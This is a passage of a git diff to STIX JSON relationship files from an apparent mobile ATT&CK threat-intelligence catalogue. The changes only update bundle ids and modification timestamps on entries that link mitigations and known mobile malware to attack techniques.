+++ b/mobile-attack/relationship/relationship--00b20e5c-5f52-4a07-bfec-e30872e793e3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--61c77bbe-e029-475f-ae89-6a5f04b44fb8",
+    "id": "bundle--e3659939-8c7b-4337-b62a-82356ae79dbc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--00b20e5c-5f52-4a07-bfec-e30872e793e3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.742Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "target_ref": "attack-pattern--667e5707-3843-4da8-bd34-88b922526f0d",
diff --git a/mobile-attack/relationship/relationship--024f9ee4-cb7d-49f4-b180-ad1e5e168a4c.json b/mobile-attack/relationship/relationship--024f9ee4-cb7d-49f4-b180-ad1e5e168a4c.json
index 5a8c41aaa7..955981cbf8 100644
--- a/mobile-attack/relationship/relationship--024f9ee4-cb7d-49f4-b180-ad1e5e168a4c.json
+++ b/mobile-attack/relationship/relationship--024f9ee4-cb7d-49f4-b180-ad1e5e168a4c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b67d54c6-8a0d-476b-a455-54e9ee245853",
+    "id": "bundle--8d5d994d-98bf-4868-b30e-c02492a9e75c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--024f9ee4-cb7d-49f4-b180-ad1e5e168a4c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.747Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--1b51f5bc-b97a-498a-8dbd-bc6b1901bf19",
diff --git a/mobile-attack/relationship/relationship--02b3c8fe-1539-4c77-b67e-07fa8a22c91e.json b/mobile-attack/relationship/relationship--02b3c8fe-1539-4c77-b67e-07fa8a22c91e.json
index 3fb46679f9..879987b798 100644
--- a/mobile-attack/relationship/relationship--02b3c8fe-1539-4c77-b67e-07fa8a22c91e.json
+++ b/mobile-attack/relationship/relationship--02b3c8fe-1539-4c77-b67e-07fa8a22c91e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2661d811-302e-43bd-83b3-37c918ca5a84",
+    "id": "bundle--248d4a28-c96e-4b69-ae1a-d011e9c7fbac",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--02b3c8fe-1539-4c77-b67e-07fa8a22c91e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Original variants of BrainTest \"did have the ability to automatically root some devices, however, we did not observe that behavior in any of the 13 samples we recently discovered.\"",
             "source_ref": "malware--e13d084c-382f-40fd-aa9a-98d69e20301e",
diff --git a/mobile-attack/relationship/relationship--047ab474-c4ec-4675-a817-1e0a9f8dd92f.json b/mobile-attack/relationship/relationship--047ab474-c4ec-4675-a817-1e0a9f8dd92f.json
index 3084c94817..f738119d68 100644
--- a/mobile-attack/relationship/relationship--047ab474-c4ec-4675-a817-1e0a9f8dd92f.json
+++ b/mobile-attack/relationship/relationship--047ab474-c4ec-4675-a817-1e0a9f8dd92f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--45a12b1b-b7c3-4706-8242-4c559f56792a",
+    "id": "bundle--be952324-f9d4-461a-9b51-a216be44e8d8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--047ab474-c4ec-4675-a817-1e0a9f8dd92f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.734Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "target_ref": "attack-pattern--c91c304a-975d-4501-9789-0db1c57afd3f",
diff --git a/mobile-attack/relationship/relationship--05c87985-4f8a-4a38-b1cd-ab01f0a628ed.json b/mobile-attack/relationship/relationship--05c87985-4f8a-4a38-b1cd-ab01f0a628ed.json
index 8586b9d45d..0ac3cb71e1 100644
--- a/mobile-attack/relationship/relationship--05c87985-4f8a-4a38-b1cd-ab01f0a628ed.json
+++ b/mobile-attack/relationship/relationship--05c87985-4f8a-4a38-b1cd-ab01f0a628ed.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c40371e6-83a2-487a-bf24-f856ec331a56",
+    "id": "bundle--98f53b2c-1b92-4814-b8b5-c2cdcc49939a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--05c87985-4f8a-4a38-b1cd-ab01f0a628ed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.744Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--89fcd02f-62dc-40b9-a54b-9ac4b1baef05",
diff --git a/mobile-attack/relationship/relationship--0673ca70-d403-4e49-8e18-de4bf8ab700c.json b/mobile-attack/relationship/relationship--0673ca70-d403-4e49-8e18-de4bf8ab700c.json
index 38804d0974..cf80d9c592 100644
--- a/mobile-attack/relationship/relationship--0673ca70-d403-4e49-8e18-de4bf8ab700c.json
+++ b/mobile-attack/relationship/relationship--0673ca70-d403-4e49-8e18-de4bf8ab700c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4c307ac1-49f5-4358-985d-f6ff107f7e19",
+    "id": "bundle--c8b3d41d-5f35-4d77-9a65-175c529fa09c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0673ca70-d403-4e49-8e18-de4bf8ab700c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.736Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--649f7268-4c12-483b-ac84-4b7bca9fe2ee",
             "target_ref": "attack-pattern--1f96d624-8409-4472-ad8a-30618ee6b2e2",
diff --git a/mobile-attack/relationship/relationship--077da2d7-0913-4040-b25e-2f6913ed4ea0.json b/mobile-attack/relationship/relationship--077da2d7-0913-4040-b25e-2f6913ed4ea0.json
index 280837beac..c72f05be44 100644
--- a/mobile-attack/relationship/relationship--077da2d7-0913-4040-b25e-2f6913ed4ea0.json
+++ b/mobile-attack/relationship/relationship--077da2d7-0913-4040-b25e-2f6913ed4ea0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--676f0295-b24b-435d-b30e-6e649b1d8dd9",
+    "id": "bundle--35b98036-a35d-4ad9-b44c-c675a5c4c029",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--077da2d7-0913-4040-b25e-2f6913ed4ea0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.734Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--2204c371-6100-4ae0-82f3-25c07c29772a",
diff --git a/mobile-attack/relationship/relationship--0791f28b-d06f-4fee-9cdb-85a6fd2eed61.json b/mobile-attack/relationship/relationship--0791f28b-d06f-4fee-9cdb-85a6fd2eed61.json
index 9d52434ab5..aab0986858 100644
--- a/mobile-attack/relationship/relationship--0791f28b-d06f-4fee-9cdb-85a6fd2eed61.json
+++ b/mobile-attack/relationship/relationship--0791f28b-d06f-4fee-9cdb-85a6fd2eed61.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--043af89c-ead8-4799-b7b6-f8a3ba2b3c01",
+    "id": "bundle--adffbc06-d114-4966-b262-be3db403c275",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0791f28b-d06f-4fee-9cdb-85a6fd2eed61",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "\"WireLurker monitors any iOS device connected via USB with an infected OS X computer and installs downloaded third-party applications or automatically generated malicious applications onto the device, regardless of whether it is jailbroken.\"",
             "source_ref": "malware--326eaf7b-5784-4f08-8fc2-61fd5d5bc5fb",
diff --git a/mobile-attack/relationship/relationship--0818895a-0d6d-47cc-ad34-a09bdb76a81b.json b/mobile-attack/relationship/relationship--0818895a-0d6d-47cc-ad34-a09bdb76a81b.json
index dfb3d3c13e..ac8ed537a5 100644
--- a/mobile-attack/relationship/relationship--0818895a-0d6d-47cc-ad34-a09bdb76a81b.json
+++ b/mobile-attack/relationship/relationship--0818895a-0d6d-47cc-ad34-a09bdb76a81b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6987681d-5523-45cc-afc1-1b3470008091",
+    "id": "bundle--c090d632-e4e3-427d-b96b-b9edc35f8024",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0818895a-0d6d-47cc-ad34-a09bdb76a81b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.741Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1",
             "target_ref": "attack-pattern--6f86d346-f092-4abc-80df-8558a90c426a",
diff --git a/mobile-attack/relationship/relationship--08e7c0ad-f2d7-472c-97de-3627ca5d2991.json b/mobile-attack/relationship/relationship--08e7c0ad-f2d7-472c-97de-3627ca5d2991.json
index e80f8cfa2d..725507f3b7 100644
--- a/mobile-attack/relationship/relationship--08e7c0ad-f2d7-472c-97de-3627ca5d2991.json
+++ b/mobile-attack/relationship/relationship--08e7c0ad-f2d7-472c-97de-3627ca5d2991.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6584998a-287f-49e6-9443-9657b9906804",
+    "id": "bundle--0334d3d5-49fc-4ceb-8e08-284d30c5e94a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--08e7c0ad-f2d7-472c-97de-3627ca5d2991",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.745Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--351c0927-2fc1-4a2c-ad84-cbbee7eb8172",
diff --git a/mobile-attack/relationship/relationship--095f71ad-9a93-45ce-9b77-a101f6c894de.json b/mobile-attack/relationship/relationship--095f71ad-9a93-45ce-9b77-a101f6c894de.json
index b2e8a64394..2dea7459d4 100644
--- a/mobile-attack/relationship/relationship--095f71ad-9a93-45ce-9b77-a101f6c894de.json
+++ b/mobile-attack/relationship/relationship--095f71ad-9a93-45ce-9b77-a101f6c894de.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8c989a65-7e9b-41b9-b46f-c28f49a22294",
+    "id": "bundle--08ccb122-cc82-46fe-97bb-6fbf5f8b3f6f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--095f71ad-9a93-45ce-9b77-a101f6c894de",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.747Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--3dd58c80-4c2e-458c-9503-1b2cd273c4d2",
diff --git a/mobile-attack/relationship/relationship--0977107c-9dd3-4cc5-b769-7e29da9f4bb6.json b/mobile-attack/relationship/relationship--0977107c-9dd3-4cc5-b769-7e29da9f4bb6.json
index a7b8aa7d12..1ffdac52c5 100644
--- a/mobile-attack/relationship/relationship--0977107c-9dd3-4cc5-b769-7e29da9f4bb6.json
+++ b/mobile-attack/relationship/relationship--0977107c-9dd3-4cc5-b769-7e29da9f4bb6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3fa85e2e-91b0-46cb-a611-8b02c3742789",
+    "id": "bundle--38f30b43-9e79-4926-a229-45658a68cead",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0977107c-9dd3-4cc5-b769-7e29da9f4bb6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.746Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--7b1cf46f-784b-405a-a8dd-4624c19d8321",
             "target_ref": "attack-pattern--c5089859-b21f-40a3-8be4-63e381b8b1c0",
diff --git a/mobile-attack/relationship/relationship--09fa9342-34cb-4f0d-8cdf-df4d51d0ae12.json b/mobile-attack/relationship/relationship--09fa9342-34cb-4f0d-8cdf-df4d51d0ae12.json
index 7cd411da6e..38f54c6d2c 100644
--- a/mobile-attack/relationship/relationship--09fa9342-34cb-4f0d-8cdf-df4d51d0ae12.json
+++ b/mobile-attack/relationship/relationship--09fa9342-34cb-4f0d-8cdf-df4d51d0ae12.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3e624209-bc5b-4197-b7f4-cb124cc975f9",
+    "id": "bundle--e3422aae-db95-4422-8470-10029e7387df",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--09fa9342-34cb-4f0d-8cdf-df4d51d0ae12",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.737Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--a0464539-e1b7-4455-a355-12495987c300",
diff --git a/mobile-attack/relationship/relationship--0cae6859-d7d1-483b-b473-4f32084938a9.json b/mobile-attack/relationship/relationship--0cae6859-d7d1-483b-b473-4f32084938a9.json
index 48ceaf999a..fe44ca3775 100644
--- a/mobile-attack/relationship/relationship--0cae6859-d7d1-483b-b473-4f32084938a9.json
+++ b/mobile-attack/relationship/relationship--0cae6859-d7d1-483b-b473-4f32084938a9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--004231ba-436c-406a-99c0-40bd48bc5027",
+    "id": "bundle--8f32b05e-157a-4be6-aafa-0f198672dc69",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0cae6859-d7d1-483b-b473-4f32084938a9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android has the ability to record audio and take pictures using the device camera.",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
diff --git a/mobile-attack/relationship/relationship--0e81eb1d-cd1e-43e1-8c09-03927681ce76.json b/mobile-attack/relationship/relationship--0e81eb1d-cd1e-43e1-8c09-03927681ce76.json
index 9014a29e9a..4f8d33b5e1 100644
--- a/mobile-attack/relationship/relationship--0e81eb1d-cd1e-43e1-8c09-03927681ce76.json
+++ b/mobile-attack/relationship/relationship--0e81eb1d-cd1e-43e1-8c09-03927681ce76.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b56c788e-369f-499a-bff9-749fb5b85493",
+    "id": "bundle--63b5b8fe-818b-4ec2-bac7-66e96dae2c37",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0e81eb1d-cd1e-43e1-8c09-03927681ce76",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android attempts to detect whether it is running in an emulator rather than a real device.",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
diff --git a/mobile-attack/relationship/relationship--0e9edc13-7af7-43c4-8ec2-636b1f8cb7f1.json b/mobile-attack/relationship/relationship--0e9edc13-7af7-43c4-8ec2-636b1f8cb7f1.json
index 3be6e75581..8a98c49aca 100644
--- a/mobile-attack/relationship/relationship--0e9edc13-7af7-43c4-8ec2-636b1f8cb7f1.json
+++ b/mobile-attack/relationship/relationship--0e9edc13-7af7-43c4-8ec2-636b1f8cb7f1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--84171f3e-ae13-4a80-b143-d7efb115566c",
+    "id": "bundle--3edfa5fd-2e5c-4940-bdf6-e42fa36688f1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0e9edc13-7af7-43c4-8ec2-636b1f8cb7f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BrainTest uses root privileges if available to copy an additional Android app package (APK) to /system/priv-app to maintain persistence even after a factory reset.",
             "source_ref": "malware--e13d084c-382f-40fd-aa9a-98d69e20301e",
diff --git a/mobile-attack/relationship/relationship--0f7e7c29-43f0-4aff-ae83-dfff331915ef.json b/mobile-attack/relationship/relationship--0f7e7c29-43f0-4aff-ae83-dfff331915ef.json
index 2e8a5dac65..21c714281f 100644
--- a/mobile-attack/relationship/relationship--0f7e7c29-43f0-4aff-ae83-dfff331915ef.json
+++ b/mobile-attack/relationship/relationship--0f7e7c29-43f0-4aff-ae83-dfff331915ef.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a4c2da05-a92a-4fc3-9c73-ae3e4919ec85",
+    "id": "bundle--76fc62da-d485-4705-8ea5-c4f265f9a4cd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0f7e7c29-43f0-4aff-ae83-dfff331915ef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SpyNote RAT collects the device's location.",
             "source_ref": "malware--20dbaf05-59b8-4dc6-8777-0b17f4553a23",
diff --git a/mobile-attack/relationship/relationship--1218ed50-bd44-4f37-baba-1aae998b5a1f.json b/mobile-attack/relationship/relationship--1218ed50-bd44-4f37-baba-1aae998b5a1f.json
index 30650616e5..e8484942a2 100644
--- a/mobile-attack/relationship/relationship--1218ed50-bd44-4f37-baba-1aae998b5a1f.json
+++ b/mobile-attack/relationship/relationship--1218ed50-bd44-4f37-baba-1aae998b5a1f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e65855ab-7711-4eef-868e-e1737e2e4d6e",
+    "id": "bundle--871338f3-b20b-4181-82e5-67b3f2c16a4c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1218ed50-bd44-4f37-baba-1aae998b5a1f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Xbot \"can also remotely lock infected Android devices...and ask for a...cash card as ransom\".",
             "source_ref": "tool--da21929e-40c0-443d-bdf4-6b60d15448b4",
diff --git a/mobile-attack/relationship/relationship--13efc415-5e17-4a16-81c2-64e74815907f.json b/mobile-attack/relationship/relationship--13efc415-5e17-4a16-81c2-64e74815907f.json
index efcf72c3f2..d19b7acb9a 100644
--- a/mobile-attack/relationship/relationship--13efc415-5e17-4a16-81c2-64e74815907f.json
+++ b/mobile-attack/relationship/relationship--13efc415-5e17-4a16-81c2-64e74815907f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e8a126b4-47fb-4753-9dcb-6cf1d7ad82c0",
+    "id": "bundle--74a0900d-22c1-4e88-b139-029370db4ff0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--13efc415-5e17-4a16-81c2-64e74815907f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XcodeGhost can \"[p]rompt a fake alert dialog to phish user credentials.\"",
             "source_ref": "malware--d9e07aea-baad-4b68-bdca-90c77647d7f9",
diff --git a/mobile-attack/relationship/relationship--14143e21-51bf-4fa7-a949-d22a8271f590.json b/mobile-attack/relationship/relationship--14143e21-51bf-4fa7-a949-d22a8271f590.json
index b79a7feb69..010a32af7e 100644
--- a/mobile-attack/relationship/relationship--14143e21-51bf-4fa7-a949-d22a8271f590.json
+++ b/mobile-attack/relationship/relationship--14143e21-51bf-4fa7-a949-d22a8271f590.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7266f6ca-bbfb-4b9f-8912-15d1dc849f12",
+    "id": "bundle--340f867b-0ff3-4f7b-84f4-83f3913ed201",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--14143e21-51bf-4fa7-a949-d22a8271f590",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "As described by Trend MicroRCSAndroid can \"[r]ecord using the microphone\" and can \"[c]apture photos using the front and back cameras\".",
             "source_ref": "malware--363bc05d-13cb-4e98-a5b7-e250f2bbdc2b",
diff --git a/mobile-attack/relationship/relationship--15a2702e-4e49-4255-909d-bbf94abfd1d7.json b/mobile-attack/relationship/relationship--15a2702e-4e49-4255-909d-bbf94abfd1d7.json
index 09cfa4005f..a60b258b25 100644
--- a/mobile-attack/relationship/relationship--15a2702e-4e49-4255-909d-bbf94abfd1d7.json
+++ b/mobile-attack/relationship/relationship--15a2702e-4e49-4255-909d-bbf94abfd1d7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b7c3d3b4-b579-4b09-a063-c37693fbad61",
+    "id": "bundle--c348fcad-6a45-4a33-948e-79b6f8a6d59a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--15a2702e-4e49-4255-909d-bbf94abfd1d7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.737Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "target_ref": "attack-pattern--b332a960-3c04-495a-827f-f17a5daed3a6",
diff --git a/mobile-attack/relationship/relationship--16f55053-285d-411d-881c-6f8c1bdef8d7.json b/mobile-attack/relationship/relationship--16f55053-285d-411d-881c-6f8c1bdef8d7.json
index 2f6d9cebed..7820357bc8 100644
--- a/mobile-attack/relationship/relationship--16f55053-285d-411d-881c-6f8c1bdef8d7.json
+++ b/mobile-attack/relationship/relationship--16f55053-285d-411d-881c-6f8c1bdef8d7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--81d8ec97-3b6e-476b-9375-55b9bd51cf24",
+    "id": "bundle--ac207c12-3829-45b9-a654-0a50b27d6b01",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--16f55053-285d-411d-881c-6f8c1bdef8d7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.739Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--e8b4e1ec-8e3b-484c-9038-4459b1ed8060",
diff --git a/mobile-attack/relationship/relationship--176ba064-0657-4850-baa3-626bc845efd3.json b/mobile-attack/relationship/relationship--176ba064-0657-4850-baa3-626bc845efd3.json
index 083ca04f6d..6b2d5e92bc 100644
--- a/mobile-attack/relationship/relationship--176ba064-0657-4850-baa3-626bc845efd3.json
+++ b/mobile-attack/relationship/relationship--176ba064-0657-4850-baa3-626bc845efd3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1ca97556-75e9-41a2-90bf-460c857d478a",
+    "id": "bundle--a07a97cc-7d0a-47a6-b279-017e060d6f48",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--176ba064-0657-4850-baa3-626bc845efd3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.740Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--a9cab8f6-4c94-4c9b-9e7d-9d863ff53431",
diff --git a/mobile-attack/relationship/relationship--18afa4ad-4fd7-47ad-acdb-3b298b640d3c.json b/mobile-attack/relationship/relationship--18afa4ad-4fd7-47ad-acdb-3b298b640d3c.json
index 368f987877..0ec608a90a 100644
--- a/mobile-attack/relationship/relationship--18afa4ad-4fd7-47ad-acdb-3b298b640d3c.json
+++ b/mobile-attack/relationship/relationship--18afa4ad-4fd7-47ad-acdb-3b298b640d3c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0182d674-f15a-4295-859a-a201f799edc2",
+    "id": "bundle--69b3cece-b381-4bcb-a689-db4f3bf85f66",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--18afa4ad-4fd7-47ad-acdb-3b298b640d3c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shedun \"embeds itself as a system application, and becomes nearly impossible to remove\".",
             "source_ref": "malware--c80a6bef-b3ce-44d0-b113-946e93124898",
diff --git a/mobile-attack/relationship/relationship--18d3f4c7-2888-4d27-9ac7-b7ade1a1c04c.json b/mobile-attack/relationship/relationship--18d3f4c7-2888-4d27-9ac7-b7ade1a1c04c.json
index 96659205f8..85a34931e0 100644
--- a/mobile-attack/relationship/relationship--18d3f4c7-2888-4d27-9ac7-b7ade1a1c04c.json
+++ b/mobile-attack/relationship/relationship--18d3f4c7-2888-4d27-9ac7-b7ade1a1c04c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dbea7c9b-c2f0-406f-b609-e46baf2f9114",
+    "id": "bundle--150c2ade-53a4-45e6-837b-10033f076012",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--18d3f4c7-2888-4d27-9ac7-b7ade1a1c04c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
